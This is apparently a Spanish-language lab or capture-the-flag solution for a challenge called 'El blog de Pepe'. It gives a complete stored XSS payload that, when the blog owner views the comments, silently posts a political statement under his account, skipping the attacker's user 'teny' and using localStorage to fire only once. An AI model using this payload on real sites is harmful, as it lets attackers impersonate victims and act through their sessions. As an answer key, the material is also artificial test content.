SOLUCIÓN: El blog de Pepe
SOLUCIÓN SUGERIDA
1. El objetivo es realizar una inyección XSS almacenada en el blog de Pepe
2. Cuando Pepe acceda a leer los comentarios, nuestro script se ejecutará en su navegador
3. El script debe publicar automáticamente el comentario "Voy a derogar la ley 1542-A"
4. Debemos asegurarnos de que el script solo se ejecute una vez y no cuando el usuario "teny" acceda
5. La solución utiliza localStorage para evitar múltiples envíos del mismo comentario
CÓDIGO DE LA SOLUCIÓN
El siguiente código JavaScript debe inyectarse en un comentario:
Hola! <script>
window.addEventListener("load", enviarComentario, false);
function enviarComentario() {
const nombreUsuario = document.getElementById("nombre_usuario").innerText;
// Verifica si ya se envió el comentario en este navegador
const yaComentado = localStorage.getItem("comentarioEnviado");
if (nombreUsuario !== "teny" && !yaComentado) {
const comentario = "Voy a derogar la ley 1542-A";
// Armar el cuerpo con formato x-www-form-urlencoded
const params = new URLSearchParams();
params.append("txtComentario", comentario);
params.append("btnEnviar", "Enviar");
// Enviar la petición vía fetch
fetch("/comentarios.php", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: params.toString()
})
.then(response => {
if (response.ok) {
console.log("Comentario enviado correctamente.");
localStorage.setItem("comentarioEnviado", "true");
} else {
console.error("Error en la respuesta del servidor.");
}
})
.catch(error => {
console.error("Error en la petición:", error);
});
} else {
console.log("No se envió el comentario (usuario excluido o ya enviado antes).");
}
}
</script>
EXPLICACIÓN DEL CÓDIGO
- Event Listener: Espera a que la página cargue completamente antes de ejecutar la función
- Detección de usuario: Verifica que el usuario no sea "teny" para evitar auto-ejecución
- Control de ejecución: Usa localStorage para evitar enviar múltiples comentarios
- Envío de datos: Utiliza fetch para enviar una solicitud POST al endpoint de comentarios
- Formato correcto: Los datos se envían con el formato application/x-www-form-urlencoded